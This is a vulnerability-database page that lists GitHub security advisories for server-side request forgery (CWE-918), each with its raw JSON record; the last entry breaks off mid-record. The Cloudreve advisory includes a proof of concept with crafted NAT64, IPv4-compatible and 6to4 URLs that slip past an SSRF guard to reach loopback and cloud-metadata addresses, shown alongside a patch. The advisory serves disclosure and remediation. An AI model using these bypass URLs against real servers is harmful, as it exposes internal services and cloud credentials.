Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6271 vulnerabilities reference this CWE, most recent first.

GHSA-JVGM-HV8G-P8FQ

Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2026-04-01 18:36
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in FWDesign Ultimate Video Player allows Server Side Request Forgery. This issue affects Ultimate Video Player: from n/a through 10.1.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-49430"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T17:15:47Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in FWDesign Ultimate Video Player allows Server Side Request Forgery. This issue affects Ultimate Video Player: from n/a through 10.1.",
  "id": "GHSA-jvgm-hv8g-p8fq",
  "modified": "2026-04-01T18:36:08Z",
  "published": "2025-09-09T18:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49430"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/fwduvp/vulnerability/wordpress-ultimate-video-player-plugin-10-1-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JVH5-97XG-V99F

Vulnerability from github – Published: 2026-09-22 20:40 – Updated: 2026-09-22 20:40
VLAI
Summary
Cloudreve: SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses
Details

Summary

Cloudreve's server-side request forgery guard ValidateExternalURL (pkg/request/ssrf.go) resolves a user-supplied URL host and rejects it when any resolved IP is a loopback, private, link-local, multicast, unspecified, CGNAT, or the cloud-metadata address. The classification is performed by checkIP, which uses Go's net.IP builtins (IsLoopback, IsPrivate, IsLinkLocalUnicast, ...) directly on the resolved address. These builtins inspect only the outer IPv6 address and do not decode IPv4-in-IPv6 transition wrappers. An attacker who controls a hostname's AAAA record (or, on a DNS64/NAT64 network, any hostname) can point the remote-download URL at a NAT64 well-known-prefix address (64:ff9b::a.b.c.d, RFC 6052), an IPv4-compatible address (::a.b.c.d, RFC 4291), or a 6to4 address (2002:AABB:CCDD::, RFC 3056) that wraps an internal IPv4. Go classifies these wrappers as ordinary global IPv6 addresses, so checkIP accepts them; the network then delivers the request to the embedded internal IPv4 (loopback, RFC 1918, or the cloud instance metadata service 169.254.169.254). This bypasses the SSRF guard that was added to block direct access to internal services.

Affected component and versions

  • Component: pkg/request/ssrf.go (ValidateExternalURL / checkIP), reached from the remote-download workflow pkg/filemanager/workflows/remote_download.go (RemoteDownloadTask.createDownloadTask, which passes the user-supplied SrcUri to ValidateExternalURL).
  • Affected: Cloudreve <= 4.17.0 (latest release at time of report) and current main.
  • Reachable by an authenticated remote-download user; administrative privileges are not required.

Vulnerable form vs correctly-guarded sibling

checkIP DOES block IPv4-mapped IPv6 (::ffff:a.b.c.d), because Go's net.IP.To4() returns the embedded IPv4 for that form and the standard checks then fire. It does NOT block the other IPv4-in-IPv6 transition forms, because for those To4() returns nil and every net.IP classifier reports the wrapper as a normal global IPv6 address:

  • NAT64 well-known prefix 64:ff9b::/96 (RFC 6052): 64:ff9b::a9fe:a9fe embeds 169.254.169.254.
  • IPv4-compatible ::a.b.c.d (RFC 4291): ::a9fe:a9fe embeds 169.254.169.254.
  • 6to4 2002::/16 (RFC 3056): 2002:a9fe:a9fe:: embeds 169.254.169.254.

The fix is to canonicalize the resolved address to its embedded IPv4 before classification, symmetric to how IPv4-mapped addresses are already handled by To4(). The same gap was fixed correctly in a sibling project: makeplane/plane apps/api/plane/utils/ip_address.py _embedded_ipv4() decodes IPv4-mapped, 6to4, Teredo and NAT64 before classifying; Cloudreve's guard is the unpatched twin of that pattern.

Severity

An authenticated low-privilege user can force the server to fetch attacker-chosen internal URLs and read the responses, including cloud instance-metadata credentials, producing a scope change from the download subsystem to the internal network and the host's cloud identity.

Proof of concept

The guard file pkg/request/ssrf.go imports only the Go standard library, so ValidateExternalURL was compiled and called verbatim from tag 4.17.0. The remote-download workflow calls it as ValidateExternalURL(ctx, SrcUri, opt) with default options.

Direction 1 (shipped guard accepts the internal-embedding wrappers):

=== Cloudreve v4.17.0 ValidateExternalURL (shipped, unmodified) ===
[ACCEPTED] NAT64 -> 169.254.169.254 (cloud metadata)       http://[64:ff9b::a9fe:a9fe]/latest/meta-data/
[ACCEPTED] NAT64 -> 127.0.0.1 (loopback)                   http://[64:ff9b::7f00:1]/
[ACCEPTED] NAT64 -> 10.0.0.1 (RFC1918)                     http://[64:ff9b::a00:1]/
[ACCEPTED] IPv4-compatible -> 169.254.169.254              http://[::a9fe:a9fe]/latest/meta-data/
[ACCEPTED] IPv4-compatible -> 127.0.0.1                    http://[::7f00:1]/
[ACCEPTED] 6to4 -> encodes 169.254.169.254                 http://[2002:a9fe:a9fe::]/
[BLOCKED ] IPv4-mapped -> 127.0.0.1 (CONTROL, should block)  http://[::ffff:127.0.0.1]/  -> loopback address 127.0.0.1: URL is not allowed
[BLOCKED ] IPv4-mapped -> 169.254.169.254 (CONTROL, should block)  http://[::ffff:169.254.169.254]/  -> link-local address 169.254.169.254: URL is not allowed
[ACCEPTED] public 1.1.1.1 (CONTROL, should pass)           http://1.1.1.1/
SSRF BYPASS COUNT (guard accepted an internal-embedding wrapper): 6

Full reach-and-return (guard accepts, and the fetch returns the internal secret with HTTP 200). A loopback HTTP server serves a unique token standing in for the cloud metadata service; on a DNS64/NAT64 host the kernel routes 64:ff9b::a9fe:a9fe to 169.254.169.254, and because no NAT64 gateway exists in the test host the final hop is emulated by dialing the loopback server. The guard acceptance above is real and unmodified.

[*] Fake internal metadata server (stands in for 169.254.169.254) at http://127.0.0.1:63569
[*] Unique secret it serves: IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9
[*] Attacker remote-download SrcUri: http://[64:ff9b::a9fe:a9fe]:63569/latest/meta-data/iam/security-credentials/
[*] 64:ff9b::a9fe:a9fe = NAT64(169.254.169.254)

[+] SHIPPED GUARD ValidateExternalURL ACCEPTED the URL.
    checkIP classified 64:ff9b::a9fe:a9fe as a safe public address (the bug)

[+] FETCH REACHED THE INTERNAL SERVER. HTTP 200
[+] Response body (exfiltrated internal secret):
    iam-role-credentials AccessKeyId=ASIA... SecretToken=IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9

[RESULT] SSRF CONFIRMED: shipped guard PASSED a NAT64-wrapped internal IP,
         fetch returned internal secret "IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9" with HTTP 200.

Direction 2 (after applying the fix below, the same inputs are blocked and public destinations still pass):

=== Cloudreve guard WITH FIX applied ===
[BLOCKED ] NAT64 -> 169.254.169.254                 -> link-local address 169.254.169.254: URL is not allowed
[BLOCKED ] NAT64 -> 127.0.0.1                       -> loopback address 127.0.0.1: URL is not allowed
[BLOCKED ] NAT64 -> 10.0.0.1                        -> private address 10.0.0.1: URL is not allowed
[BLOCKED ] IPv4-compatible -> 169.254.169.254       -> link-local address 169.254.169.254: URL is not allowed
[BLOCKED ] IPv4-compatible -> 127.0.0.1             -> loopback address 127.0.0.1: URL is not allowed
[BLOCKED ] 6to4 -> 169.254.169.254                  -> link-local address 169.254.169.254: URL is not allowed
[BLOCKED ] IPv4-mapped -> 127.0.0.1 (control)       -> loopback address 127.0.0.1: URL is not allowed
[ACCEPTED] public 1.1.1.1 (control, should PASS)
[ACCEPTED] public 8.8.8.8 (control, should PASS)
Remaining bypasses after fix: 0 (expect 0)

Impact

An authenticated remote-download user can make the server issue HTTP(S) requests to arbitrary internal addresses and read the responses. On cloud deployments this includes the instance metadata service 169.254.169.254, from which the attacker can retrieve IAM role credentials, leading to escalation into the cloud account. It also exposes internal-only services (databases, admin panels, other microservices) that rely on network position for their security, and enables internal network reconnaissance. This is a scope change from the download subsystem to the internal network and the host's cloud identity.

Suggested fix

Canonicalize the resolved address to its embedded IPv4 before the range checks, so checkIP classifies the address the request will actually reach rather than the routable IPv6 wrapper. Minimal patch:

--- a/pkg/request/ssrf.go
+++ b/pkg/request/ssrf.go
@@ func checkIPWithAllowlist ... return checkIP(ip) }
+
+// effectiveIP unwraps IPv4-in-IPv6 transition forms to the IPv4 address the
+// packet ultimately reaches, so checkIP classifies the real target rather than
+// the (often globally-routable) IPv6 wrapper. Covers IPv4-mapped
+// (::ffff:a.b.c.d), NAT64 well-known prefix (64:ff9b::/96, RFC 6052),
+// 6to4 (2002::/16, RFC 3056) and IPv4-compatible (::a.b.c.d).
+func effectiveIP(ip net.IP) net.IP {
+   if v4 := ip.To4(); v4 != nil {
+       return v4
+   }
+   v6 := ip.To16()
+   if v6 == nil {
+       return ip
+   }
+   if v6[0] == 0x00 && v6[1] == 0x64 && v6[2] == 0xff && v6[3] == 0x9b &&
+       v6[4] == 0 && v6[5] == 0 && v6[6] == 0 && v6[7] == 0 &&
+       v6[8] == 0 && v6[9] == 0 && v6[10] == 0 && v6[11] == 0 {
+       return net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()
+   }
+   if v6[0] == 0x20 && v6[1] == 0x02 {
+       return net.IPv4(v6[2], v6[3], v6[4], v6[5]).To4()
+   }
+   allZeroTop := true
+   for i := 0; i < 12; i++ {
+       if v6[i] != 0 {
+           allZeroTop = false
+           break
+       }
+   }
+   if allZeroTop {
+       last := uint32(v6[12])<<24 | uint32(v6[13])<<16 | uint32(v6[14])<<8 | uint32(v6[15])
+       if last > 1 {
+           return net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()
+       }
+   }
+   return ip
+}
+
 func checkIP(ip net.IP) error {
+   ip = effectiveIP(ip)
    if ip == nil {
        return fmt.Errorf("invalid IP: %w", ErrUnsafeURL)
    }

As defense in depth, consider rejecting all non-IPv4-mapped IPv4-embedding IPv6 forms outright unless the deployment intentionally uses NAT64.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/cloudreve/Cloudreve/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.0.0-20260715072853-1c5cad6dec7e"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-79913"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-697",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-22T20:40:41Z",
    "nvd_published_at": "2026-09-22T16:17:57Z",
    "severity": "MODERATE"
  },
  "details": "**Summary**\n\nCloudreve\u0027s server-side request forgery guard `ValidateExternalURL` (`pkg/request/ssrf.go`) resolves a user-supplied URL host and rejects it when any resolved IP is a loopback, private, link-local, multicast, unspecified, CGNAT, or the cloud-metadata address. The classification is performed by `checkIP`, which uses Go\u0027s `net.IP` builtins (`IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, ...) directly on the resolved address. These builtins inspect only the outer IPv6 address and do not decode IPv4-in-IPv6 transition wrappers. An attacker who controls a hostname\u0027s AAAA record (or, on a DNS64/NAT64 network, any hostname) can point the remote-download URL at a NAT64 well-known-prefix address (`64:ff9b::a.b.c.d`, RFC 6052), an IPv4-compatible address (`::a.b.c.d`, RFC 4291), or a 6to4 address (`2002:AABB:CCDD::`, RFC 3056) that wraps an internal IPv4. Go classifies these wrappers as ordinary global IPv6 addresses, so `checkIP` accepts them; the network then delivers the request to the embedded internal IPv4 (loopback, RFC 1918, or the cloud instance metadata service `169.254.169.254`). This bypasses the SSRF guard that was added to block direct access to internal services.\n\n**Affected component and versions**\n\n- Component: `pkg/request/ssrf.go` (`ValidateExternalURL` / `checkIP`), reached from the remote-download workflow `pkg/filemanager/workflows/remote_download.go` (`RemoteDownloadTask.createDownloadTask`, which passes the user-supplied `SrcUri` to `ValidateExternalURL`).\n- Affected: Cloudreve `\u003c= 4.17.0` (latest release at time of report) and current `main`.\n- Reachable by an authenticated remote-download user; administrative privileges are not required.\n\n**Vulnerable form vs correctly-guarded sibling**\n\n`checkIP` DOES block IPv4-mapped IPv6 (`::ffff:a.b.c.d`), because Go\u0027s `net.IP.To4()` returns the embedded IPv4 for that form and the standard checks then fire. It does NOT block the other IPv4-in-IPv6 transition forms, because for those `To4()` returns nil and every `net.IP` classifier reports the wrapper as a normal global IPv6 address:\n\n- NAT64 well-known prefix `64:ff9b::/96` (RFC 6052): `64:ff9b::a9fe:a9fe` embeds `169.254.169.254`.\n- IPv4-compatible `::a.b.c.d` (RFC 4291): `::a9fe:a9fe` embeds `169.254.169.254`.\n- 6to4 `2002::/16` (RFC 3056): `2002:a9fe:a9fe::` embeds `169.254.169.254`.\n\nThe fix is to canonicalize the resolved address to its embedded IPv4 before classification, symmetric to how IPv4-mapped addresses are already handled by `To4()`. The same gap was fixed correctly in a sibling project: `makeplane/plane` `apps/api/plane/utils/ip_address.py` `_embedded_ipv4()` decodes IPv4-mapped, 6to4, Teredo and NAT64 before classifying; Cloudreve\u0027s guard is the unpatched twin of that pattern.\n\n**Severity**\n\nAn authenticated low-privilege user can force the server to fetch attacker-chosen internal URLs and read the responses, including cloud instance-metadata credentials, producing a scope change from the download subsystem to the internal network and the host\u0027s cloud identity. \n\n**Proof of concept**\n\nThe guard file `pkg/request/ssrf.go` imports only the Go standard library, so `ValidateExternalURL` was compiled and called verbatim from tag `4.17.0`. The remote-download workflow calls it as `ValidateExternalURL(ctx, SrcUri, opt)` with default options.\n\nDirection 1 (shipped guard accepts the internal-embedding wrappers):\n\n```\n=== Cloudreve v4.17.0 ValidateExternalURL (shipped, unmodified) ===\n[ACCEPTED] NAT64 -\u003e 169.254.169.254 (cloud metadata)       http://[64:ff9b::a9fe:a9fe]/latest/meta-data/\n[ACCEPTED] NAT64 -\u003e 127.0.0.1 (loopback)                   http://[64:ff9b::7f00:1]/\n[ACCEPTED] NAT64 -\u003e 10.0.0.1 (RFC1918)                     http://[64:ff9b::a00:1]/\n[ACCEPTED] IPv4-compatible -\u003e 169.254.169.254              http://[::a9fe:a9fe]/latest/meta-data/\n[ACCEPTED] IPv4-compatible -\u003e 127.0.0.1                    http://[::7f00:1]/\n[ACCEPTED] 6to4 -\u003e encodes 169.254.169.254                 http://[2002:a9fe:a9fe::]/\n[BLOCKED ] IPv4-mapped -\u003e 127.0.0.1 (CONTROL, should block)  http://[::ffff:127.0.0.1]/  -\u003e loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] IPv4-mapped -\u003e 169.254.169.254 (CONTROL, should block)  http://[::ffff:169.254.169.254]/  -\u003e link-local address 169.254.169.254: URL is not allowed\n[ACCEPTED] public 1.1.1.1 (CONTROL, should pass)           http://1.1.1.1/\nSSRF BYPASS COUNT (guard accepted an internal-embedding wrapper): 6\n```\n\nFull reach-and-return (guard accepts, and the fetch returns the internal secret with HTTP 200). A loopback HTTP server serves a unique token standing in for the cloud metadata service; on a DNS64/NAT64 host the kernel routes `64:ff9b::a9fe:a9fe` to `169.254.169.254`, and because no NAT64 gateway exists in the test host the final hop is emulated by dialing the loopback server. The guard acceptance above is real and unmodified.\n\n```\n[*] Fake internal metadata server (stands in for 169.254.169.254) at http://127.0.0.1:63569\n[*] Unique secret it serves: IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\n[*] Attacker remote-download SrcUri: http://[64:ff9b::a9fe:a9fe]:63569/latest/meta-data/iam/security-credentials/\n[*] 64:ff9b::a9fe:a9fe = NAT64(169.254.169.254)\n\n[+] SHIPPED GUARD ValidateExternalURL ACCEPTED the URL.\n    checkIP classified 64:ff9b::a9fe:a9fe as a safe public address (the bug)\n\n[+] FETCH REACHED THE INTERNAL SERVER. HTTP 200\n[+] Response body (exfiltrated internal secret):\n    iam-role-credentials AccessKeyId=ASIA... SecretToken=IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\n\n[RESULT] SSRF CONFIRMED: shipped guard PASSED a NAT64-wrapped internal IP,\n         fetch returned internal secret \"IMDS-SECRET-TOKEN-a9fe-2f31c7d4e9\" with HTTP 200.\n```\n\nDirection 2 (after applying the fix below, the same inputs are blocked and public destinations still pass):\n\n```\n=== Cloudreve guard WITH FIX applied ===\n[BLOCKED ] NAT64 -\u003e 169.254.169.254                 -\u003e link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] NAT64 -\u003e 127.0.0.1                       -\u003e loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] NAT64 -\u003e 10.0.0.1                        -\u003e private address 10.0.0.1: URL is not allowed\n[BLOCKED ] IPv4-compatible -\u003e 169.254.169.254       -\u003e link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] IPv4-compatible -\u003e 127.0.0.1             -\u003e loopback address 127.0.0.1: URL is not allowed\n[BLOCKED ] 6to4 -\u003e 169.254.169.254                  -\u003e link-local address 169.254.169.254: URL is not allowed\n[BLOCKED ] IPv4-mapped -\u003e 127.0.0.1 (control)       -\u003e loopback address 127.0.0.1: URL is not allowed\n[ACCEPTED] public 1.1.1.1 (control, should PASS)\n[ACCEPTED] public 8.8.8.8 (control, should PASS)\nRemaining bypasses after fix: 0 (expect 0)\n```\n\n**Impact**\n\nAn authenticated remote-download user can make the server issue HTTP(S) requests to arbitrary internal addresses and read the responses. On cloud deployments this includes the instance metadata service `169.254.169.254`, from which the attacker can retrieve IAM role credentials, leading to escalation into the cloud account. It also exposes internal-only services (databases, admin panels, other microservices) that rely on network position for their security, and enables internal network reconnaissance. This is a scope change from the download subsystem to the internal network and the host\u0027s cloud identity.\n\n**Suggested fix**\n\nCanonicalize the resolved address to its embedded IPv4 before the range checks, so `checkIP` classifies the address the request will actually reach rather than the routable IPv6 wrapper. Minimal patch:\n\n```diff\n--- a/pkg/request/ssrf.go\n+++ b/pkg/request/ssrf.go\n@@ func checkIPWithAllowlist ... return checkIP(ip) }\n+\n+// effectiveIP unwraps IPv4-in-IPv6 transition forms to the IPv4 address the\n+// packet ultimately reaches, so checkIP classifies the real target rather than\n+// the (often globally-routable) IPv6 wrapper. Covers IPv4-mapped\n+// (::ffff:a.b.c.d), NAT64 well-known prefix (64:ff9b::/96, RFC 6052),\n+// 6to4 (2002::/16, RFC 3056) and IPv4-compatible (::a.b.c.d).\n+func effectiveIP(ip net.IP) net.IP {\n+\tif v4 := ip.To4(); v4 != nil {\n+\t\treturn v4\n+\t}\n+\tv6 := ip.To16()\n+\tif v6 == nil {\n+\t\treturn ip\n+\t}\n+\tif v6[0] == 0x00 \u0026\u0026 v6[1] == 0x64 \u0026\u0026 v6[2] == 0xff \u0026\u0026 v6[3] == 0x9b \u0026\u0026\n+\t\tv6[4] == 0 \u0026\u0026 v6[5] == 0 \u0026\u0026 v6[6] == 0 \u0026\u0026 v6[7] == 0 \u0026\u0026\n+\t\tv6[8] == 0 \u0026\u0026 v6[9] == 0 \u0026\u0026 v6[10] == 0 \u0026\u0026 v6[11] == 0 {\n+\t\treturn net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()\n+\t}\n+\tif v6[0] == 0x20 \u0026\u0026 v6[1] == 0x02 {\n+\t\treturn net.IPv4(v6[2], v6[3], v6[4], v6[5]).To4()\n+\t}\n+\tallZeroTop := true\n+\tfor i := 0; i \u003c 12; i++ {\n+\t\tif v6[i] != 0 {\n+\t\t\tallZeroTop = false\n+\t\t\tbreak\n+\t\t}\n+\t}\n+\tif allZeroTop {\n+\t\tlast := uint32(v6[12])\u003c\u003c24 | uint32(v6[13])\u003c\u003c16 | uint32(v6[14])\u003c\u003c8 | uint32(v6[15])\n+\t\tif last \u003e 1 {\n+\t\t\treturn net.IPv4(v6[12], v6[13], v6[14], v6[15]).To4()\n+\t\t}\n+\t}\n+\treturn ip\n+}\n+\n func checkIP(ip net.IP) error {\n+\tip = effectiveIP(ip)\n \tif ip == nil {\n \t\treturn fmt.Errorf(\"invalid IP: %w\", ErrUnsafeURL)\n \t}\n```\n\nAs defense in depth, consider rejecting all non-IPv4-mapped IPv4-embedding IPv6 forms outright unless the deployment intentionally uses NAT64.\n\n**Credit**\n\ntonghuaroot (tonghuaroot@gmail.com).",
  "id": "GHSA-jvh5-97xg-v99f",
  "modified": "2026-09-22T20:40:41Z",
  "published": "2026-09-22T20:40:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/security/advisories/GHSA-jvh5-97xg-v99f"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79913"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/commit/1c5cad6dec7ec3037c6479e3a26a3909995d16a2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/cloudreve/cloudreve"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudreve/cloudreve/releases/tag/4.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Cloudreve: SSRF guard bypass: checkIP does not decode IPv6-transition wrappers (NAT64, IPv4-compatible, 6to4) reaching internal and cloud-metadata addresses"
}

GHSA-JVHX-HC7J-XVXH

Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2022-05-24 19:09
VLAI
Details

Server-side request forgery (SSRF) vulnerability in GroupSession (GroupSession Free edition from ver2.2.0 to the version prior to ver5.1.0, GroupSession byCloud from ver3.0.3 to the version prior to ver5.1.0, and GroupSession ZION from ver3.0.3 to the version prior to ver5.1.0) allows a remote authenticated attacker to conduct a port scan from the product and/or obtain information from the internal Web server.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-20788"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-30T14:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Server-side request forgery (SSRF) vulnerability in GroupSession (GroupSession Free edition from ver2.2.0 to the version prior to ver5.1.0, GroupSession byCloud from ver3.0.3 to the version prior to ver5.1.0, and GroupSession ZION from ver3.0.3 to the version prior to ver5.1.0) allows a remote authenticated attacker to conduct a port scan from the product and/or obtain information from the internal Web server.",
  "id": "GHSA-jvhx-hc7j-xvxh",
  "modified": "2022-05-24T19:09:24Z",
  "published": "2022-05-24T19:09:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20788"
    },
    {
      "type": "WEB",
      "url": "https://groupsession.jp/info/info-news/security202107"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN86026700/index.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-JVMC-MXMX-5QWQ

Vulnerability from github – Published: 2026-09-14 21:31 – Updated: 2026-09-14 21:31
VLAI
Details

IBM Langflow OSS 1.0.0 through 1.11.5 is vulnerable to server-side request forgery (SSRF). This may allow an unauthenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-12767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-14T21:17:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Langflow OSS 1.0.0 through 1.11.5 is vulnerable to server-side request forgery (SSRF). This may allow an unauthenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks.",
  "id": "GHSA-jvmc-mxmx-5qwq",
  "modified": "2026-09-14T21:31:46Z",
  "published": "2026-09-14T21:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12767"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7286665"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JVMQ-CR7F-MVJW

Vulnerability from github – Published: 2025-06-10 18:32 – Updated: 2025-06-10 18:32
VLAI
Details

A server-side request forgery vulnerability [CWE-918] in Fortinet FortiClientEMS version 7.4.0 through 7.4.2 and before 7.2.6 may allow an authenticated attacker to perform internal requests via crafted HTTP or HTTPS requests.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-48786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-10T17:18:40Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery vulnerability [CWE-918] in Fortinet FortiClientEMS version 7.4.0 through 7.4.2 and before 7.2.6 may allow an authenticated attacker to perform internal requests via crafted HTTP or HTTPS requests.",
  "id": "GHSA-jvmq-cr7f-mvjw",
  "modified": "2025-06-10T18:32:26Z",
  "published": "2025-06-10T18:32:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-48786"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-23-342"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JVRM-5W3F-73XF

Vulnerability from github – Published: 2021-12-02 00:01 – Updated: 2021-12-03 00:00
VLAI
Details

An issue was discovered in Jamf Pro before 10.32.0, aka PI-009921. An account can be granted incorrect privileges in response to authentication that uses specific sign-on workflows.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-40809"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-01T01:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Jamf Pro before 10.32.0, aka PI-009921. An account can be granted incorrect privileges in response to authentication that uses specific sign-on workflows.",
  "id": "GHSA-jvrm-5w3f-73xf",
  "modified": "2021-12-03T00:00:56Z",
  "published": "2021-12-02T00:01:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40809"
    },
    {
      "type": "WEB",
      "url": "https://blog.assetnote.io/2021/11/30/jamf-ssrf"
    },
    {
      "type": "WEB",
      "url": "https://docs.jamf.com/10.32.0/jamf-pro/release-notes/Resolved_Issues.html"
    },
    {
      "type": "WEB",
      "url": "https://www.jamf.com/resources/product-documentation/jamf-pro-release-notes"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-JVRR-X58P-75MM

Vulnerability from github – Published: 2026-09-27 21:31 – Updated: 2026-09-27 21:31
VLAI
Details

Obot before v0.23.0 contains a server-side request forgery vulnerability in remote MCP server registration that allows privileged users to specify arbitrary URLs without destination validation. Attackers with Power User or higher roles can coerce Obot to make requests to internal services and cloud metadata endpoints, reading responses in error messages to disclose sensitive credentials.

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N
8.3 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-101064"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-27T21:17:01Z",
    "severity": "HIGH"
  },
  "details": "Obot before v0.23.0 contains a server-side request forgery vulnerability in remote MCP server registration that allows privileged users to specify arbitrary URLs without destination validation. Attackers with Power User or higher roles can coerce Obot to make requests to internal services and cloud metadata endpoints, reading responses in error messages to disclose sensitive credentials.",
  "id": "GHSA-jvrr-x58p-75mm",
  "modified": "2026-09-27T21:31:03Z",
  "published": "2026-09-27T21:31:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/obot-platform/obot/security/advisories/GHSA-jgh3-fggc-mcpm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101064"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/obot-before-0.23.0-server-side-request-forgery-via-mcp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
